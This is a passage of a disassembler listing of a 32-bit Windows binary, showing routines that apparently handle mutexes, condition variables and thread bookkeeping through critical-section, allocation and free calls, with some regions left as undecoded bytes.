		dd offset loc_4313C5	; jump table for switch	statement
		dd offset loc_4313CD
		dd offset loc_4313D5
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431420:				; CODE XREF: ___:004017C1j
		mov	eax, dword_5103C4
		push	esi
		push	edi
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		db 8Bh,	7Ch, 24h
		dd 83F08B10h, 0F68504C4h, 90570A75h, 808EC6E8h,	4C48377h
		dd 7E89016Ah, 99FE814h,	0C483FFFDh, 0C35E5F04h,	3 dup(90909090h)
		dd 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_431470	proc near		; CODE XREF: sub_401762j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	offset dword_5108E0
		xor	esi, esi
		call	near ptr 7C901005h
		nop
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_43149B
		mov	eax, [eax+4]
		test	eax, eax
		jz	short loc_43149B
		push	eax
		nop
		call	near ptr 27705EDh
		cmp	eax, 7FFFFFFFh
		jnz	short loc_4314A0


loc_43149B:				; CODE XREF: sub_431470+14j
					; sub_431470+1Bj
		mov	esi, 3


loc_4314A0:				; CODE XREF: sub_431470+29j
		push	offset dword_5108E0
		nop
		call	near ptr 7C9010EDh
		test	esi, esi
		jnz	short loc_4314BC
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		mov	eax, 16h
		jnz	short loc_4314BE


loc_4314BC:				; CODE XREF: sub_431470+3Dj
		mov	eax, esi


loc_4314BE:				; CODE XREF: sub_431470+4Aj
		pop	esi
		retn
sub_431470	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4314E0:				; CODE XREF: ___:00401654j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	short loc_431531
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_431531
		mov	eax, [esi]
		xor	ebx, ebx
		test	eax, eax
		jnz	short loc_431511
		lea	eax, [esi+4]
		push	eax
		nop
		call	near ptr 2770596h
		test	eax, eax
		jnz	short loc_431517
		call	edi	; _errno
		mov	dword ptr [esi], 1


loc_431511:				; CODE XREF: ___:004314F9j
					; ___:0043151Aj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431517:				; CODE XREF: ___:00431507j
		cmp	dword ptr [esi], 0
		jnz	short loc_431511
		mov	edi, dword_5118D8


loc_431522:				; CODE XREF: ___:00431529j
		push	0
		call	edi
		cmp	dword ptr [esi], 0
		jz	short loc_431522
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431531:				; CODE XREF: ___:004314E9j
					; ___:004314F1j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431560	proc near		; CODE XREF: sub_4012E4j
		mov	eax, dword_5103C4
		push	esi
		push	edi
		push	eax
		call	sub_401190
sub_431560	endp

; ---------------------------------------------------------------------------
		db 8Bh,	0F0h, 83h
		dd 0F68504C4h, 0ACE87675h, 8BFFFD05h, 74F685F0h, 7C7E8B5Bh
		dd 1B8h, 53F80B00h, 897C7E89h, 0E8902046h, 232F634h, 187C1D8Bh
		dd 26A0051h, 6A047E8Dh,	57006A00h, 0D3FF0689h, 0C3E89050h
		dd 500236F5h, 0E850D3FFh, 233EA44h, 5BC08590h, 0E8560E75h
		dd 0FFFD0609h, 3304C483h, 0C35E5FC0h, 90510F8Bh, 33F014E8h
		dd 28468902h, 3C4158Bh,	52560051h, 0FD0B10E8h, 8C483FFh
		dd 5E5FC68Bh, 909090C3h, 3 dup(90909090h), 0Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_431630	proc near		; CODE XREF: sub_401A64j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jnz	short loc_43164E
		test	eax, eax
		jz	short loc_431648
		mov	eax, [eax]
		mov	edx, [ecx]
		cmp	eax, edx
		jnz	short loc_43164E


loc_431648:				; CODE XREF: sub_431630+Ej
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_43164E:				; CODE XREF: sub_431630+Aj
					; sub_431630+16j
		xor	eax, eax
		retn
sub_431630	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431670:				; CODE XREF: ___:0040200Ej
		mov	eax, [esp+4]
		test	eax, eax
		jge	short loc_43167E
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_43167E:				; CODE XREF: ___:00431676j
		mov	dword_5103D4, eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4316A0:				; CODE XREF: ___:00401564j
		mov	eax, dword_5103D4
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4316C0	proc near		; CODE XREF: sub_401B27j
		push	esi
		call	sub_401307
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4316E2
		push	84h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_431729


loc_4316E2:				; CODE XREF: sub_4316C0+Aj
		push	0
		push	0
		or	eax, 0FFFFFFFFh
		push	1
		push	0
		mov	dword ptr [esi+28h], 0
		mov	dword ptr [esi+20h], 0
		mov	dword ptr [esi+30h], 0
		mov	dword ptr [esi+34h], 1
		mov	[esi+2Ch], eax
		mov	[esi+24h], eax
		nop
		call	near ptr 2760809h
		test	eax, eax
		mov	[esi+38h], eax
		jnz	short loc_431729
		push	esi
		call	sub_401BD1
		add	esp, 4
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431729:				; CODE XREF: sub_4316C0+20j
					; sub_4316C0+5Aj
		mov	eax, esi
		pop	esi
		retn
sub_4316C0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431750	proc near		; CODE XREF: sub_401307j
		push	esi
		push	offset dword_5108E0
		nop
		call	near ptr 7C901005h
		mov	esi, dword_447718
		cmp	esi, 1
		jz	short loc_431785
		mov	eax, [esi+8]
		push	offset dword_5108E0
		mov	dword_447718, eax
		mov	dword ptr [esi+8], 0
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431785:				; CODE XREF: sub_431750+15j
		push	offset dword_5108E0
		xor	esi, esi
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
sub_431750	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4317C0	proc near		; CODE XREF: sub_401BD1j

arg_0		= dword	ptr  4

		push	edi
		push	offset dword_5108E0
		nop
		call	near ptr 7C901005h
		mov	edx, [esp+4+arg_0]
		mov	ecx, 21h
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, dword_447718
		push	offset dword_5108E0
		mov	[edx+8], eax
		mov	dword_447718, edx
		call	near ptr 7C9010EDh
		nop
		pop	edi
		retn
sub_4317C0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431810	proc near		; CODE XREF: sub_40164Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0FFFFFFFFh
		push	eax
		call	sub_431830
sub_431810	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431830	proc near		; CODE XREF: sub_431810+7p
					; sub_431950+Ap

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

		sub	esp, 8
		mov	eax, [esp+8+arg_0]
		push	esi
		push	edi
		mov	edi, 1
		mov	[esp+10h+var_8], eax
		call	sub_4012E4
sub_431830	endp

; ---------------------------------------------------------------------------
		mov	esi, eax
		test	esi, esi
		jz	short loc_431866
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	short loc_43186E
		mov	eax, [esi+38h]
		test	eax, eax
		mov	[esp+0Ch], eax
		jz	short loc_43186E
		mov	edi, 2
		jmp	short loc_43186E
; ---------------------------------------------------------------------------


loc_431866:				; CODE XREF: ___:0043184Bj
		mov	dword ptr [esp+0Ch], 0


loc_43186E:				; CODE XREF: ___:00431852j
					; ___:0043185Dj ...
		mov	ecx, [esp+18h]
		lea	edx, [esp+8]
		push	ecx
		push	0
		push	edx
		push	edi
		nop
		call	near ptr 2760640h
		mov	ecx, eax
		sub	ecx, 0
		jz	short loc_4318F9
		dec	ecx
		jz	short loc_4318A4
		sub	eax, 102h
		pop	edi
		neg	eax
		sbb	eax, eax
		pop	esi
		and	eax, 0FFFFD8CAh
		add	eax, 274Ch
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_4318A4:				; CODE XREF: ___:00431889j
		mov	eax, [esp+0Ch]
		push	eax
		nop
		call	near ptr 27807E5h
		test	esi, esi
		jz	short loc_4318EE
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_402248
		mov	ecx, [esi+0Ch]
		mov	eax, 3
		add	esp, 4
		cmp	ecx, eax
		jge	short loc_4318E5
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DED
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4318E5:				; CODE XREF: ___:004318C9j
		push	edi
		call	sub_4010C3
		add	esp, 4


loc_4318EE:				; CODE XREF: ___:004318B1j
		pop	edi
		mov	eax, 16h
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_4318F9:				; CODE XREF: ___:00431886j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431950	proc near		; CODE XREF: sub_401D84j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_431830
sub_431950	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431980	proc near		; CODE XREF: sub_401C17j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_510940
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4319B4
		push	esi
		push	ecx
		call	sub_4021BC
		add	esp, 8
		mov	esi, eax
		push	offset dword_510940
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4319B4:				; CODE XREF: sub_431980+17j
		test	eax, eax
		jnz	short loc_4319BD
		mov	esi, 16h


loc_4319BD:				; CODE XREF: sub_431980+36j
		push	offset dword_510940
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_431980	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4319F0	proc near		; CODE XREF: sub_4021BCj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebp
		xor	ebp, ebp
		push	edi
		test	eax, eax
		jnz	short loc_431A04
		pop	edi
		mov	eax, 16h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431A04:				; CODE XREF: sub_4319F0+Aj
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_431A1F
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_431A1F
		cmp	dword ptr [eax], 1
		jnz	short loc_431A1F
		pop	edi
		mov	eax, 28h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431A1F:				; CODE XREF: sub_4319F0+1Aj
					; sub_4319F0+20j ...
		push	esi
		push	2Ch
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_431A44
		mov	edx, [esp+0Ch+arg_0]
		mov	ebp, 0Ch
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431A44:				; CODE XREF: sub_4319F0+41j
		test	edi, edi
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0
		jz	short loc_431A60
		mov	edi, [edi]
		test	edi, edi
		jz	short loc_431A60
		mov	edi, [edi+4]
		jmp	short loc_431A62
; ---------------------------------------------------------------------------


loc_431A60:				; CODE XREF: sub_4319F0+63j
					; sub_4319F0+69j
		xor	edi, edi


loc_431A62:				; CODE XREF: sub_4319F0+6Ej
		push	0
		lea	eax, [esi+10h]
		push	0
		push	eax
		mov	[esi+8], edi
		mov	dword ptr [esi+0Ch], 0
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_431A9D
		push	esi
		mov	ebp, 0Bh
		nop
		call	near ptr 77C2C21Bh
		mov	edx, [esp+10h+arg_0]
		add	esp, 4
		xor	esi, esi
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431A9D:				; CODE XREF: sub_4319F0+8Ej
		lea	ecx, [esi+14h]
		push	ecx
		nop
		call	near ptr 27A0858h
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
sub_4319F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431B00	proc near		; CODE XREF: sub_402252j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		test	edi, edi
		jz	loc_431BE0
		mov	eax, [edi]
		test	eax, eax
		jz	loc_431BE0
		cmp	eax, 0FFFFFFFFh
		jz	loc_431BA5
		mov	[esp+8+arg_0], eax
		lea	eax, [esp+8+arg_0]
		push	eax
		call	sub_401785
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	loc_431BDB
		mov	ecx, [esp+8+arg_0]
		mov	eax, [ecx+4]
		cmp	eax, 1
		jnz	short loc_431B97
		lea	ecx, [esp+8+arg_0]
		mov	[edi], esi
		push	ecx
		call	sub_4010C3
		mov	edx, [esp+0Ch+arg_0]
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	short loc_431B90
		add	edx, 10h
		push	edx
		call	sub_401690
		mov	eax, [esp+0Ch+arg_0]
		add	esp, 4
		add	eax, 14h
		push	eax
		call	near ptr 27A0000h
		nop
		mov	ecx, [esp+8+arg_0]
		push	ecx
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431B90:				; CODE XREF: sub_431B00+61j
		mov	[edi], edx
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431B97:				; CODE XREF: sub_431B00+48j
		dec	eax
		mov	esi, 10h
		mov	[ecx+4], eax
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431BA5:				; CODE XREF: sub_431B00+1Dj
		push	offset dword_510940
		nop
		call	near ptr 7C901005h
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_431BCB
		push	offset dword_510940
		mov	dword ptr [edi], 0
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431BCB:				; CODE XREF: sub_431B00+B3j
		push	offset dword_510940
		mov	esi, 10h
		nop
		call	near ptr 7C9010EDh


loc_431BDB:				; CODE XREF: sub_431B00+38j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431BE0:				; CODE XREF: sub_431B00+Aj
					; sub_431B00+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_431B00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431C30	proc near		; CODE XREF: sub_401A1Ej

arg_0		= dword	ptr  4

		push	esi
		push	8
		push	1
		xor	esi, esi
		call	near ptr 77C2C0C3h
		nop
		add	esp, 8
		cmp	eax, esi
		jnz	short loc_431C53
		mov	edx, [esp+4+arg_0]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_431C53:				; CODE XREF: sub_431C30+12j
		mov	ecx, [esp+4+arg_0]
		mov	[eax], esi
		mov	[eax+4], esi
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
sub_431C30	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431C80	proc near		; CODE XREF: sub_4010AAj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_431CA1
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_431CA1
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431CA1:				; CODE XREF: sub_431C80+9j
					; sub_431C80+Fj
		mov	eax, 16h
		pop	esi
		retn
sub_431C80	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431CC0:				; CODE XREF: ___:00401BBDj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_431CDD
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_431CDD
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_431CDD
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_431CDD:				; CODE XREF: ___:00431CC6j
					; ___:00431CCCj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431D00:				; CODE XREF: ___:00401906j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_431D2A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_431D2A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_431D1E
		test	eax, eax
		jnz	short loc_431D2A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_431D1E:				; CODE XREF: ___:00431D15j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_431D2A:				; CODE XREF: ___:00431D06j
					; ___:00431D0Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431D40	proc near		; CODE XREF: sub_40119Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_431D61
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_431D61
		mov	edx, [esp+arg_4]
		test	edx, edx
		jl	short loc_431D61
		cmp	edx, 2
		jg	short loc_431D61
		mov	[ecx+4], edx
		retn
; ---------------------------------------------------------------------------


loc_431D61:				; CODE XREF: sub_431D40+8j
					; sub_431D40+Ej ...
		mov	eax, 16h
		retn
sub_431D40	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431D80	proc near		; CODE XREF: sub_4018CFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_431D9E
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_431D9E
		mov	edx, [esp+arg_4]
		test	edx, edx
		jz	short loc_431D9E
		mov	ecx, [ecx+4]
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_431D9E:				; CODE XREF: sub_431D80+8j
					; sub_431D80+Ej ...
		mov	eax, 16h
		retn
sub_431D80	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431DC0	proc near		; CODE XREF: sub_402248j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	loc_431E77
		mov	eax, [esi]
		test	eax, eax
		jz	loc_431E77
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431DF1
		push	esi
		call	sub_401C17
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_431DF1
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431DF1:				; CODE XREF: sub_431DC0+1Dj
					; sub_431DC0+2Cj
		mov	esi, [esi]
		push	esi
		nop
		call	near ptr 2770596h
		test	eax, eax
		jnz	short loc_431E1A


loc_431DFE:				; CODE XREF: sub_431DC0+A8j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_431E12
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_431E12:				; CODE XREF: sub_431DC0+4Bj
		mov	[esi+0Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431E1A:				; CODE XREF: sub_431DC0+3Cj
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_431E5A
		call	sub_4012E4
; ---------------------------------------------------------------------------
		dw 8B50h
		dd 0E8500C46h, 0FFFCFC34h, 8508C483h, 562374C0h, 0EB2AE890h
		dd 7E830234h, 0C750108h, 4004468Bh, 8B044689h, 0C35E5FC7h
		dd 24BFh, 5FC78B00h
; ---------------------------------------------------------------------------
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431E5A:				; CODE XREF: sub_431DC0+5Fj
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_431EB0
		add	esp, 4
		test	eax, eax
		jz	short loc_431DFE
		nop
		call	near ptr 77C1F2BCh
		mov	edi, [eax]
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431E77:				; CODE XREF: sub_431DC0+Aj
					; sub_431DC0+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_431DC0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431EB0	proc near		; CODE XREF: sub_431DC0+9Ep

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_431ECA
		mov	eax, [eax]
		push	0FFFFFFFFh
		mov	ecx, [eax]
		push	ecx
		nop
		call	near ptr 27806AAh
		test	eax, eax
		jnz	short loc_431ECA
		retn
; ---------------------------------------------------------------------------


loc_431ECA:				; CODE XREF: sub_431EB0+6j
					; sub_431EB0+17j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_431EB0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431EF0	proc near		; CODE XREF: sub_401BD6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebp
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebp, ebp
		test	esi, esi
		jz	loc_432088
		mov	eax, [esi]
		test	eax, eax
		jz	loc_432088
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431F21
		push	esi
		call	sub_401C17
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jz	short loc_431F21
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431F21:				; CODE XREF: sub_431EF0+1Dj
					; sub_431EF0+2Cj
		mov	esi, [esi]
		push	ebx
		push	edi
		push	esi
		nop
		call	near ptr 2770596h
		test	eax, eax
		jnz	short loc_431F52


loc_431F30:				; CODE XREF: sub_431EF0+175j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	loc_43207E
		call	sub_4012E4
; ---------------------------------------------------------------------------
		pop	edi
		mov	[esi+0Ch], eax
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431F52:				; CODE XREF: sub_431EF0+3Ej
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_431F96
		call	sub_4012E4
; ---------------------------------------------------------------------------
		dw 8B50h
		dd 0E8500C46h, 0FFFCFAFCh, 8508C483h, 562774C0h, 34E9F3E8h
		dd 7E839002h, 0E750108h, 5F04468Bh, 46895B40h, 5EC58B04h
		dd 24BDC35Dh, 5F000000h, 5EC58B5Bh
; ---------------------------------------------------------------------------
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431F96:				; CODE XREF: sub_431EF0+67j
		mov	eax, [esp+10h+arg_4]
		test	eax, eax
		jnz	short loc_431FAA
		mov	ebp, 16h
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431FAA:				; CODE XREF: sub_431EF0+ACj
		lea	edi, [esi+10h]
		push	eax
		push	edi
		call	sub_432100
		add	esp, 8
		sub	eax, 0
		jz	loc_43206A
		dec	eax
		jz	short loc_432034
		dec	eax
		jz	short loc_431FD5
		call	near ptr 77C1F2BCh
		nop
		mov	ebp, [eax]
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431FD5:				; CODE XREF: sub_431EF0+D4j
		lea	ebx, [esi+14h]
		push	ebx
		call	near ptr 7C901005h
		nop
		push	edi
		mov	ebp, 274Ch
		call	sub_4010A5
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_432007
		nop
		call	near ptr 2780968h
		push	ebx
		nop
		call	near ptr 7C9010EDh
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_432007:				; CODE XREF: sub_431EF0+101j
		nop
		call	near ptr 2780968h
		test	eax, eax
		jl	short loc_432026
		push	edi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_432026
		call	near ptr 77C1F2BCh
		nop
		mov	ebp, [eax]


loc_432026:				; CODE XREF: sub_431EF0+11Fj
					; sub_431EF0+12Cj
		push	ebx
		nop
		call	near ptr 7C9010EDh
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_432034:				; CODE XREF: sub_431EF0+D1j
		lea	ebx, [esi+14h]
		push	ebx
		nop
		call	near ptr 7C901005h
		push	edi
		call	sub_4010A5
		mov	edi, eax
		add	esp, 4
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_43205A
		push	esi
		nop
		call	near ptr 2780968h
		mov	ebp, 274Ch


loc_43205A:				; CODE XREF: sub_431EF0+15Cj
		push	ebx
		nop
		call	near ptr 7C9010EDh
		test	edi, edi
		jnz	short loc_432081
		jmp	loc_431F30
; ---------------------------------------------------------------------------


loc_43206A:				; CODE XREF: sub_431EF0+CAj
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_43207E
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_43207E:				; CODE XREF: sub_431EF0+4Dj
					; sub_431EF0+187j
		mov	[esi+0Ch], eax


loc_432081:				; CODE XREF: sub_431EF0+173j
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_432088:				; CODE XREF: sub_431EF0+Aj
					; sub_431EF0+14j
		pop	esi
		mov	eax, 16h
		pop	ebp
		retn
sub_431EF0	endp

; ---------------------------------------------------------------------------
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432100	proc near		; CODE XREF: sub_431EF0+BFp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		test	edi, edi
		jz	loc_43219E
		mov	esi, [esp+14h+arg_4]
		test	esi, esi
		jnz	short loc_432132
		or	eax, 0FFFFFFFFh


loc_43211C:				; CODE XREF: sub_432100+7Fj
		push	eax
		mov	eax, [edi]
		mov	ecx, [eax]
		push	ecx
		call	near ptr 27806AAh
		nop
		test	eax, eax
		jnz	short loc_43218C
		pop	edi
		pop	esi
		add	esp, 0Ch
		retn
